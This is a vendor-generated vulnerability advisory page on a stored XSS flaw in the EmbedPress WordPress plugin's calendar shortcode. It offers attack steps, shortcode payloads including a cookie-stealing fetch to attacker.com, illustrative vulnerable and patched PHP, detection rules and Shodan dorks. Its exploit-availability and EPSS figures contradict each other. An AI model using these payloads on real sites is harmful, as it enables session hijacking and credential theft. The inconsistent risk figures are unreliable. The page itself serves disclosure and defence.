☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-3244

CVE-2024-3244 Cross-Site Scripting in Embedpress
📅 PUBLISHED: 2024-04-09 18:58 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.37%
👁️
0.37% probability
9.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-3244 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the EmbedPress WordPress plugin, which is widely used to embed PDFs, Google Docs, videos, maps, and other documents within the Gutenberg and Elementor page builders. The flaw resides in the embedpress_calendar shortcode, affecting all versions up to and including 3.9.14. Due to insufficient input sanitization and output escaping on user-supplied attributes, authenticated attackers with at least Contributor-level access can inject arbitrary web scripts. When a victim (including administrators or site visitors) accesses a page containing the malicious shortcode, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

The vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx directly. No public exploit code or proof-of-concept (PoC) has been released, and the patch status remains unknown. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk increases as the vulnerability becomes more widely known.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed EmbedPress from the WordPress dashboard or via direct download are at risk. No third-party package manager (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector: Network (AV:N) – The attacker can exploit the vulnerability remotely.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: Low (PR:L) – The attacker needs Contributor-level access or higher.
  • User Interaction: None (UI:N) – The victim does not need to perform any action beyond viewing the page.
  • Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
  • Confidentiality Impact: Low (C:L) – Limited data exposure possible.
  • Integrity Impact: Low (I:L) – Limited modification of content possible.
  • Availability Impact: None (A:N) – No denial-of-service impact.

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users to inject persistent scripts makes this a significant risk for multi-author WordPress sites.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the embedpress_calendar shortcode. The plugin fails to properly sanitize user-supplied attributes (e.g., title, description, or custom data fields) before rendering them in the HTML output. An attacker with Contributor-level access can create or edit a post/page and insert the shortcode with malicious JavaScript payloads in the attributes.

Example vulnerable shortcode usage:

[embedpress_calendar title="<script>alert('XSS')</script>"]

When the page is rendered, the unsanitized attribute is echoed directly into the HTML, causing the script to execute. Because the attack is stored in the database, any user visiting the compromised page becomes a victim.

Root Cause: The plugin uses echo $attribute or similar without applying esc_attr() or wp_kses() for output escaping, and does not validate input against a whitelist of allowed values.

Vulnerable vs. Patched Code

Vulnerable Code (example from embedpress_calendar shortcode handler):

function embedpress_calendar_shortcode($atts) {
    $atts = shortcode_atts(array(
        'title' => '',
        'description' => '',
    ), $atts);
    // Direct output without escaping
    return '<div class="embedpress-calendar" data-title="' . $atts['title'] . '">' . $atts['description'] . '</div>';
}

Patched Code (expected fix):

function embedpress_calendar_shortcode($atts) {
    $atts = shortcode_atts(array(
        'title' => '',
        'description' => '',
    ), $atts);
    // Properly escape output
    return '<div class="embedpress-calendar" data-title="' . esc_attr($atts['title']) . '">' . esc_html($atts['description']) . '</div>';
}

The patched version uses esc_attr() for HTML attributes and esc_html() for text content, preventing script injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • WordPress site with EmbedPress plugin version <= 3.9.14.
  • An account with Contributor-level privileges or higher.

Steps:

  1. Log in as a Contributor.
  2. Create a new post or edit an existing one.
  3. Insert the embedpress_calendar shortcode with a malicious payload in the title attribute:
    [embedpress_calendar title="<img src=x onerror=alert(document.cookie)>"]
    
  4. Publish or save the post.
  5. When any user (including admins) views the post, the XSS payload executes.

Advanced Payload (session hijacking):

[embedpress_calendar title="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]

Blue Team (Defense & Detection)

Detection Steps:

  1. Monitor for posts/pages containing the embedpress_calendar shortcode with suspicious attributes.
  2. Review user activity logs for Contributor-level users creating or editing posts with unusual shortcode parameters.
  3. Use a Web Application Firewall (WAF) to block common XSS patterns in shortcode attributes.

Mitigation:

  • Immediately update the plugin if a patch becomes available.
  • If no patch exists, disable the embedpress_calendar shortcode via a custom plugin or filter.
  • Restrict Contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/embedpress/ (presence of vulnerable version)
  • Database: Posts/pages containing [embedpress_calendar shortcode with suspicious attributes (e.g., <script>, onerror=, javascript:)
  • Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server (if payload exfiltrates data)
  • Logs: WordPress debug logs showing unexpected shortcode attribute values

Detection Engineering

YARA Rule

rule CVE_2024_3244_EmbedPress_XSS {
    meta:
        description = "Detects vulnerable EmbedPress plugin files with unsanitized shortcode attributes"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-3244"
    strings:
        $vuln_func = /embedpress_calendar.*\$atts\[/
        $unsafe_echo = /echo.*\$atts\[/
    condition:
        $vuln_func and $unsafe_echo
}

Sigma Rule

title: CVE-2024-3244 - Stored XSS via EmbedPress Calendar Shortcode
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit Stored XSS in EmbedPress plugin via embedpress_calendar shortcode
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 'embedpress_calendar'
        http.url|contains|any:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of calendar shortcode with benign attributes
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-3244 - EmbedPress Stored XSS Attempt"; flow:to_server; content:"embedpress_calendar"; http_uri; pcre:"/(<script|onerror=|onload=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Update the plugin to the latest version if a patch is released.
  2. Disable the embedpress_calendar shortcode by adding the following code to your theme's functions.php or a custom plugin:
    remove_shortcode('embedpress_calendar');
    
  3. Review and sanitize all existing posts/pages that use the embedpress_calendar shortcode.

Long-term Measures:

  • Implement a Web Application Firewall (WAF) with XSS protection rules.
  • Enforce the principle of least privilege: limit Contributor-level access to trusted users.
  • Regularly audit WordPress plugins for known vulnerabilities.
  • Enable automatic updates for plugins when possible.

Valters IT Signature: This report was generated by Valters IT DevSecOps Intelligence. For further analysis, contact security@valters.it.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/embedpress"
http.html:"embedpress" "wp-content"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-3244/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.